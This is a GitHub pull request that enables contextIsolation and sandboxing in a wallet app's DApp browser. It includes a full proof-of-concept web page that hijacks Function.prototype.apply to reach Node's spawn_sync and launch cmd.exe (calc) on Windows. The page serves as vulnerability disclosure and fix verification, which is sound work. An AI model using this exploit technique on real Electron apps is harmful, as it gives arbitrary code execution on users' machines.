Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: enable contextIsolation in DAppBrowser #1419

Merged
merged 7 commits into from
Mar 7, 2024
Merged

Conversation

XinyuCRO
Copy link
Collaborator

@XinyuCRO XinyuCRO commented Mar 6, 2024

Background

Test hosting a script as below: (opening the calculator app on Windows)

<!DOCTYPE HTML>
<html>
<h1>test</h1>
<script>
var apply1 = [];
var call1 = [];

Function.prototype._apply = Function.prototype.apply //store original apply prototype
Function.prototype.apply = function(...r) {
	for (var i = 0; i < r.length ; i++ in r) {
		apply1.push(r[i]);
		console.log(r[i]);
	}
};
function rce() { //restore original apply function prototype and execute cmd.exe with arbitrary arguments (/c calc)
	Function.prototype.apply = Function.prototype._apply;
	for (i=0; i<apply1.length; i++) {
		try {
			apply1[i].binding('spawn_sync').spawn({file:"C:\\windows\\system32\\cmd.exe",args:["/c calc"],stdio:[{type:"pipe",readable:!0,writable:!1},{type:"pipe",readable:!1,writable:!0},{type:"pipe",readable:!1,writable:!0}]});
			break;
		} catch(er) {
			console.log(er);
			setTimeout(function(){
				rce()
			},'5000')
		}
	}
};

function leak_process() { //generate enough event listeners to trigger process.warning()
	for (a=0; a<apply1.length; a++) {
		if (apply1[a].addListener) {
			for (i=0; i<11; i++) {
			apply1[a].addListener('x',function(ev){});
			}
		rce();
		break;
		}else {
			continue;
		}
	};
}
setTimeout(function(){
	leak_process();
},'4000');
</script>
</html>

The app will pops up with the Calculator app.

Attempts to fix

  • Enable contextIsolation
  • Enable sandbox

Copy link

socket-security bot commented Mar 6, 2024

New and removed dependencies detected. Learn more about Socket for GitHub ↗︎

Package New capabilities Transitives Size Publisher
npm/xmldom@0.5.0 None 0 88.7 kB brodybits

🚮 Removed packages: npm/sleep@6.3.0, npm/zxcvbn@4.4.2

View full report↗︎

Copy link

socket-security bot commented Mar 7, 2024

👍 Dependency issues cleared. Learn more about Socket for GitHub ↗︎

This PR previously contained dependency changes with security issues that have been resolved, removed, or ignored.

View full report↗︎

Copy link
Collaborator

@crypto-matto crypto-matto left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fully tested with Windows & MacOS environments. No calculators pop out anymore.
Other functionalities related to DApp Browser behaviors & normal wallet features are all running fine.

@crypto-matto crypto-matto merged commit 18223e1 into dev Mar 7, 2024
8 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants